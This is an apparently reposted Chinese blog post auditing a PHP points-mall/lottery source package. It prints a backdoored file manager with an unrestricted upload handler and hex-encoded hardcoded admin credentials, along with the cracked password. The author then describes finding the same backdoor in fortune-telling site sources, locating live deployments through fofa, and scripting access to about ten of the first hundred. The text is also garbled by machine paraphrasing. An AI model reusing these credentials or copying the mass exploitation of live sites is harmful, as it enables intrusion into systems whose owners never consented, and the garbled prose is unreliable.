在审计代码时创造源码被留后门,在GitHub上关键字找到其余一套相同后门的源码,欲知后事如何,且看下文分解。没有技能,看个乐呵
系统简介
【牧场养牛】带积分商城+抽奖+会员特权 区块源码。
开拓措辞:PHP开拓框架:ThinkPHP3
代码剖析
开头即是王炸
鄙人喜好直接,遂从文件上传开始看。Seay!
!
!
启动!
!
!
ohhhhhh,出货了。看了下没有上传限定,可以上传任意文件。
if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != 39;') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $targetPath = $path . $ds; $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { die('Successfully uploaded'); } else { die(sprintf('Error while uploading files. Uploaded files: %s', $uploads)); } } exit();}
就在我研究怎么调用的时候,什么东西?还要登录?奇奇怪怪的。
于是直接访问文件看看,页面长这样,随便输点东西回车,创建失落败??
这里一定不大略,于是仔细研究了一下,在代码的开头创造了奇怪的东西。(hex编码的账户密码)
$auth_users=array(pack(chr(72).chr(42),"61646D696E")=>pack(chr(72).chr(42),"2432792431302456494437394D76382F6335776F776B6935726F69644F777169332F53384F6453386B775A2E784E6C656D4B753252504C55376C2E47"),);
哦??有戏!
!
!
用户名是admin,密码是Bcrypt,须要爆破一下。
这里由于已经知道密码了,以是就不演示密码的爆破过程了,ok,密码是“mima123”。
登录成功!
!
文件管理器????
传一个phpinfo试试,直接起飞!
!
!
!
梅开二度
后口试了试关键字在GitHub上找找有没有同样后门的源码,确实找到了一套用得比较多的源码(算命、八字源码),后面也是在fofa上查了一下,还行。
用脚本跑了前100条,10%,也还行吧。就算命吧,一算一个不吱声。
关机,开溜!
本文来源于不足安全